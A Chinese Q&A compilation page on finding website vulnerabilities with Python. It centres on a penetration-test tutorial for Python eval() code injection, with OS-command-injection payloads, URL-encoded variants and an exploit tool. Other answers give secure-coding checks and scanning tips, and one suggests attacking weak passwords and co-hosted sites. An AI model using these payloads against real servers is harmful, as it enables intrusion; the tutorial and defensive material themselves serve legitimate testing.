如何使用python查找网站漏洞
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了如何使用python查找网站漏洞相关的知识,希望对你有一定的参考价值。
如果你的Web应用中存在Python代码注入漏洞的话,攻击者就可以利用你的Web应用来向你后台服务器的Python解析器发送恶意Python代码了。这也就意味着,如果你可以在目标服务器中执行Python代码的话,你就可以通过调用服务器的操作系统的指令来实施攻击了。通过运行操作系统命令,你不仅可以对那些可以访问到的文件进行读写操作,甚至还可以启动一个远程的交互式Shell(例如nc、Metasploit和Empire)。为了复现这个漏洞,我在最近的一次外部渗透测试过程中曾尝试去利用过这个漏洞。当时我想在网上查找一些关于这个漏洞具体应用方法的信息,但是并没有找到太多有价值的内容。在同事Charlie Worrell(@decidedlygray)的帮助下,我们成功地通过Burp POC实现了一个非交互式的shell,这也是我们这篇文章所要描述的内容。
因为除了Python之外,还有很多其他的语言(例如Perl和Ruby)也有可能出现代码注入问题,因此Python代码注入属于服务器端代码注入的一种。实际上,如果各位同学和我一样是一名CWE的关注者,那么下面这两个CWE也许可以给你提供一些有价值的参考内容:
1. CWE-94:代码生成控制不当(‘代码注入’)2. CWE-95:动态代码评估指令处理不当(‘Eval注入’)漏洞利用
假设你现在使用Burp或者其他工具发现了一个Python注入漏洞,而此时的漏洞利用Payload又如下所示:
eval(compile(\'for x in range(1):\\n import time\\n time.sleep(20)\',\'a\',\'single\'))那么你就可以使用下面这个Payload来在目标主机中实现操作系统指令注入了:
eval(compile("""for x in range(1):\\\\n import os\\\\n os.popen(r\'COMMAND\').read()""",\'\',\'single\'))实际上,你甚至都不需要使用for循环,直接使用全局函数“__import__”就可以了。具体代码如下所示:
eval(compile("""__import__(\'os\').popen(r\'COMMAND\').read()""",\'\',\'single\'))其实我们的Payload代码还可以更加简洁,既然我们已经将import和popen写在了一个表达式里面了,那么在大多数情况下,你甚至都不需要使用compile了。具体代码如下所示:
__import__(\'os\').popen(\'COMMAND\').read()
为了将这个Payload发送给目标Web应用,你需要对其中的某些字符进行URL编码。为了节省大家的时间,我们在这里已经将上面所列出的Payload代码编码完成了,具体如下所示:
param=eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22for%20x%20in%20range%281%29%3A%5Cn%20import%20os%5Cn%20os.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=eval%28compile%28%22%22%22__import__%28%27os%27%29.popen%28r%27COMMAND%27%29.read%28%29%22%22%22%2C%27%27%2C%27single%27%29%29param=__import__%28%27os%27%29.popen%28%27COMMAND%27%29.read%28%29接下来,我们将会给大家介绍关于这个漏洞的细节内容,并跟大家分享一个包含这个漏洞的Web应用。在文章的结尾,我将会给大家演示一款工具,这款工具是我和我的同事Charlie共同编写的,它可以明显降低你在利用这个漏洞时所花的时间。简而言之,这款工具就像sqlmap一样,可以让你快速找到SQL注入漏洞,不过这款工具仍在起步阶段,感兴趣的同学可以在项目的GitHub主页[传送门]中与我交流一下。
搭建一个包含漏洞的服务器
为了更好地给各位同学进行演示,我专门创建了一个包含漏洞的Web应用。如果你想要自己动手尝试利用这个漏洞的话,你可以点击这里获取这份Web应用。接下来,我们要配置的就是Web应用的运行环境,即通过pip或者easy_install来安装web.py。它可以作为一台独立的服务器运行,或者你也可以将它加载至包含mod_wsgi模块的Apache服务器中。相关操作指令如下所示:
git clone https://github.com/sethsec/PyCodeInjection.gitcd VulnApp
./install_requirements.sh
python PyCodeInjectionApp.py
漏洞分析
当你在网上搜索关于python的eval()函数时,几乎没有文章会提醒你这个函数是非常不安全的,而eval()函数就是导致这个Python代码注入漏洞的罪魁祸首。如果你遇到了下面这两种情况,说明你的Web应用中存在这个漏洞:
1. Web应用接受用户输入(例如GET/POST参数,cookie值);2. Web应用使用了一种不安全的方法来将用户的输入数据传递给eval()函数(没有经过安全审查,或者缺少安全保护机制);下图所示的是一份包含漏洞的示例代码:
\\
大家可以看到,eval()函数是上述代码中唯一一个存在问题的地方。除此之外,如果开发人员直接对用户的输入数据(序列化数据)进行拆封的话,那么Web应用中也将会出现这个漏洞。
不过需要注意的是,除了eval()函数之外,Python的exec()函数也有可能让你的Web应用中出现这个漏洞。而且据我所示,现在很多开发人员都会在Web应用中不规范地使用exec()函数,所以这个问题肯定会存在。
自动扫描漏洞
为了告诉大家如何利用漏洞来实施攻击,我通常会使用扫描器来发现一些我此前没有见过的东西。找到之后,我再想办法将毫无新意的PoC开发成一个有意义的exploit。不过我想提醒大家的是,不要过度依赖扫描工具,因为还很多东西是扫描工具也找不到的。
这个漏洞也不例外,如果你在某个Web应用中发现了这个漏洞,那么你肯定使用了某款自动化的扫描工具,比如说Burp Suite Pro。目前为止,如果不使用类似Burp Suite Pro这样的专业扫描工具,你几乎是无法发现这个漏洞的。
当你搭建好测试环境之后,启动并运行包含漏洞的示例应用。接下来,使用Burp Suite Pro来对其进行扫描。扫描结果如下图所示:
\\
下图显示的是Burp在扫描这个漏洞时所使用的Payload:
\\
我们可以看到,Burp之所以要将这个Web应用标记为“Vulnerable”(包含漏洞的),是因为当它将这个Payload发送给目标Web应用之后,服务器的Python解析器休眠了20秒,响应信息在20秒之后才成功返回。但我要提醒大家的是,这种基于时间的漏洞检查机制通常会存在一定的误报。
将PoC升级成漏洞利用代码
使用time.sleep()来验证漏洞的存在的确是一种很好的方法。接下来,为了执行操作系统指令并接收相应的输出数据,我们可以使用os.popen()、subprocess.Popen()、或者subprocess.check_output()这几个函数。当然了,应该还有很多其他的函数同样可以实现我们的目标。
因为eval()函数只能对表达式进行处理,因此Burp Suite Pro的Payload在这里使用了compile()函数,这是一种非常聪明的做法。当然了,我们也可以使用其他的方法来实现,例如使用全局函数“__import__”。关于这部分内容请查阅参考资料:[参考资料1][参考资料2]
下面这个Payload应该可以适用于绝大多数的场景:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Example with one expression
__import__(\'os\').popen(\'COMMAND\').read()
# Example with multiple expressions, separated by commasstr("-"*50),__import__(\'os\').popen(\'COMMAND\').read()如果你需要执行一个或多个语句,那么你就需要使用eval()或者compile()函数了。实现代码如下所示:
# Examples with one expression
eval(compile("""__import__(\'os\').popen(r\'COMMAND\').read()""",\'\',\'single\'))eval(compile("""__import__(\'subprocess\').check_output(r\'COMMAND\',shell=True)""",\'\',\'single\'))#Examples with multiple statements, separated by semicolonseval(compile("""__import__(\'os\').popen(r\'COMMAND\').read();import time;time.sleep(2)""",\'\',\'single\'))eval(compile("""__import__(\'subprocess\').check_output(r\'COMMAND\',shell=True);import time;time.sleep(2)""",\'\',\'single\'))在我的测试过程中,有时全局函数“__import__”会不起作用。在这种情况下,我们就要使用for循环了。相关代码如下所示:
eval(compile("""for x in range(1):\\n import os\\n os.popen(r\'COMMAND\').read()""",\'\',\'single\'))eval(compile("""for x in range(1):\\n import subprocess\\n subprocess.Popen(r\'COMMAND\',shell=True, stdout=subprocess.PIPE).stdout.read()""",\'\',\'single\'))eval(compile("""for x in range(1):\\n import subprocess\\n subprocess.check_output(r\'COMMAND\',shell=True)""",\'\',\'single\'))如果包含漏洞的参数是一个GET参数,那么你就可以直接在浏览器中利用这个漏洞了:
\\
请注意:虽然浏览器会帮你完成绝大部分的URL编码工作,但是你仍然需要对分号(%3b)和空格(%20)进行手动编码。除此之外,你也可以直接使用我们所开发的工具。
如果是POST参数的话,我建议各位直接使用类似Burp Repeater这样的工具。如下图所示,我在subprocess.check_output()函数中一次性调用了多个系统命令,即pwd、ls、-al、whoami和ping。
\\
\\
漏洞利用工具-PyCodeInjectionShell
你可以直接访问PyCodeInjectionShell的GitHub主页获取工具源码,我们也提供了相应的工具使用指南。在你使用这款工具的过程中会感觉到,它跟sqlmap一样使用起来非常的简单。除此之外,它的使用方法跟sqlmap基本相同。 参考技术A SQL注入
查找所有含有SQL查询的文件,你要找到使用和下面语法类似的查询语句:
stmt = "SELECT * FROM table WHERE id=?" connection.execute(stmt, (value,))
这意味着应用程序是使用参数化的查询。你不能找到以下任何一个的查询:
"SELECT * FROM table WHERE id=" + value
"SELECT * FROM table WHERE id=%s" % value
"SELECT * FROM table WHERE id=0".format(value)
如果没有其他合适的处理这些都会导致SQL注入,最好还是使用参数化的形式。
命令注入
查找所有含有导入OS模块的文件。仔细检查这些文件确保没有不可接受的用户输入传递给os.popen*, os.spawn*, os.fork, os.system, 或者 os.exec* 。同时也要检查任何popen2模块和commands模块的调用。记住,除了os.exec*和os.spawn*,以上其他的方法和模块都不赞成使用,从Python2.6开始使用subprocess模块。任何还在使用这些方法或者包的应用都应修改为使用subprocess模块。虽然不反对,还是建议使用subprocess替换os.spawn*。
查找含有导入subprocess模块的文件,确保没有不可接受的用户输入传递给保重的任何方法。默认情况下所有的subprocess方法会将shell参数设定为False,以防止shell特殊字符被解释。这可以防止典型的命令注入攻击。如果需要将shell参数设置为True,那么根据你的python版本使用pipes.quete()和shlex.quote()函数先审查用户输入。
不能有以下调用方式:
subprocess.call("cat " + user_input, shell=True)
subprocess.call("cat %s" % user_input, shell=True)
subprocess.call("cat 0".format(user_input), shell=True)
如果shell=True 是必须的那么请这样调用:
subprocess.call("cat " + pipes.quote(user_input), shell=True)
subprocess.call("cat %s" % pipes.quote(user_input), shell=True)
subprocess.call("cat 0".format(pipes.quote(user_input)), shell=True)
如果shell=True不是必须的那么这样的调用已经足够,但是我还是建议对用户输入信息进行检查:
subprocess.call("cat " + user_input)
subprocess.call("cat %s" % user_input)
subprocess.call("cat 0".format(user_input))
目录穿越漏洞
查找使用open()语句或者调用os.fdopen()方法的文件,确保没有不可接受用户输入传递给这些方法。
避免出现如下形式的调用:
open(user_input)
os.fdopen(user_input)
在打开一个文件前,先检查用户的输入,然后确定这个文件打开是否安全。
跨站脚本
这个程序没有使用模板语言,因此需要在所有文件中查找使用cgi模块的文件,确保所有用户提供的输入都会使用cgi.escape()写回浏览器。cgi.escape()会将<,>,和&替换成html中的对应的符号。cgi.escape()的第一个参数是需要转换的字符串。第二个参数默认值为False,可以用来判断是否将双引号也进行转换。如果用户输入将在内部属性中使用,那么双引号也应该被转换。
CGI脚本使用简单的打印语句来创建从网站服务器返回给网页浏览器的页面。如下形式的调用应当避免:
print(user_input)
应当使用下面的:
print(cgi.escape(user_input))
如何检测网站服务器的漏洞?
如何检测网站服务器的漏洞?希望提供比较直接有效的方法。
查找Web服务器漏洞
在Web服务器等非定制产品中查找漏洞时,使用一款自动化扫描工具是一个不错的起点。与Web应用程序这些定制产品不同,几乎所有的Web服务器都使用第三方软件,并且有无数用户已经以相同的方式安装和配置了这些软件。
在这种情况下,使用自动化扫描器发送大量专门设计的请求并监控表示已知漏洞的签名,就可以迅速、高效地确定最明显的漏洞。Nessus 是一款优良的免费漏洞扫描器,还有各种商业扫描器可供使用,如 Typhon 与 ISS。
除使用扫描工具外,渗透测试员还应始终对所攻击的软件进行深入研究。同时,浏览Security Focus、邮件列表Bugtrap和Full Disclosure等资源,在目标软件上查找所有最近发现的、尚未修复的漏洞信息。
还要注意,一些Web应用程序产品中内置了一个开源Web服务器,如Apache或Jetty。因为管理员把服务器看作他们所安装的应用程序,而不是他们负责的基础架构的一部分,所以这些捆绑服务器的安全更新也应用得相对较为缓慢。而且,在这种情况下,标准的服务标题也已被修改。因此,对所针对的软件进行手动测试与研究,可以非常有效地确定自动化扫描工具无法发现的漏洞。
参考技术A 可以根据网站本身的漏洞,比如注入漏洞,上传漏洞,弱口令,万能密码等.本站无漏洞,也可检测跟这个网站同一服务器网站的这些漏洞.
或者PING 这个网站,得到IP地址,扫描该IP地址上 是否开了漏洞端口.比如:135端口,1433端口,339端口等. 参考技术B wikto_v2.0.2837 网页服务器漏洞检测工具是英文版的,需要一定的专业英语词汇,推荐用后者,其实在多的理论也没有用,关键还是实际应用能力,另外漏洞扫描还要配合一些其他的软件,这里不便透露,去红客联盟看看吧,那里 有专业人士可供咨询,呵呵 参考技术C 系统都已经安装了哪些补丁,我们需要心中有数,如何能够获得这些信息呢?微软公司有一套免费的系统检测工具“微软基线安全分析仪(MBSA)”,软件下载地址为:[url] http://www.microsoft.com/technet/security/tools/mbsahome.mspx[/url]。它可以确定企业的服务器和工作站已经安装了哪些软件更新,MBSA 将报告系统未安装的安全更新和 Service Pack,并为已经安装的Windows Server 2003、Windows XP、Windows 2000 和 Windows NT等操作系统标识漏洞。安装此软件,对系统扫描后将生成一份检测报告,该报告将列举系统中存在的所有漏洞和弱点。安装该软件后,在打开的界面中,单击“Start”即可开始扫描。单击“View a secutity report”,可以给出一份安全报告,包括本机安装了哪些补丁,并可以提示用户安装哪些补丁。在“View security report”窗口中,单击“What was scanned”、“Result details”等链接,可以得到详细的报告。如果需要修复这些漏洞,可以单击“How to correct this”链接,软件将提示详细操作步骤和安装补丁的详细地址 3、部署局域网内部的漏洞防范服务 对于局域网的网管员来说,除了要争取在第一时间为自己管辖的所有服务器升级外,还要为客户端下载适用于多种平台、多种语言环境的补丁包,之后还要检验这些补丁包是否都升级到位。往往一个补丁还未处理完毕,另一补丁又来了,麻烦程度可想而知,如果要防范漏洞,必须首先从局域网内部开始。微软推出的SUS(Software Update Services)服务可以帮助我们解决这个问题。SUS下载地址:[url] http://go.microsoft.com/fwlink/?LinkId=22337[/url] 客户端:[url] http://www.microsoft.com/windowsserversystem/sus/default.mspx[/url]软件下载后,选择典型安装,但要注意分区,因为下载中英文版的补丁就要占用1GB的硬盘空间。需要说明的是,SUS服务只提供关键性更新,如果版本较高,则不在此服务范围内。不过,微软公司将在今年推出SUS2.0,其强大的功能也值得我们期待 二、停止不必要的服务 在进行系统的设置时,我们只要记住一个原则,那就是:最小的权限+最少的服务=最大的安全。虽然开很多服务可以给管理带来方便,但如果对当前的服务不了解,最好关掉,免得给系统带来灾难。进入控制面板的“管理工具”,运行“服务”,进入服务界面,双击右侧列表中需要禁用的服务,在打开的服务属性的常规标签页“启动类型”一栏,选择“已禁用”,单击“确定”按钮即可。 参考技术D 去腾讯智慧安全申请个御点终端安全系统
申请好了之后,打开腾讯御点,选择修复漏洞
可以自动检测出电脑里面需要修复的漏洞然后一键修复
以上是关于如何使用python查找网站漏洞的主要内容,如果未能解决你的问题,请参考以下文章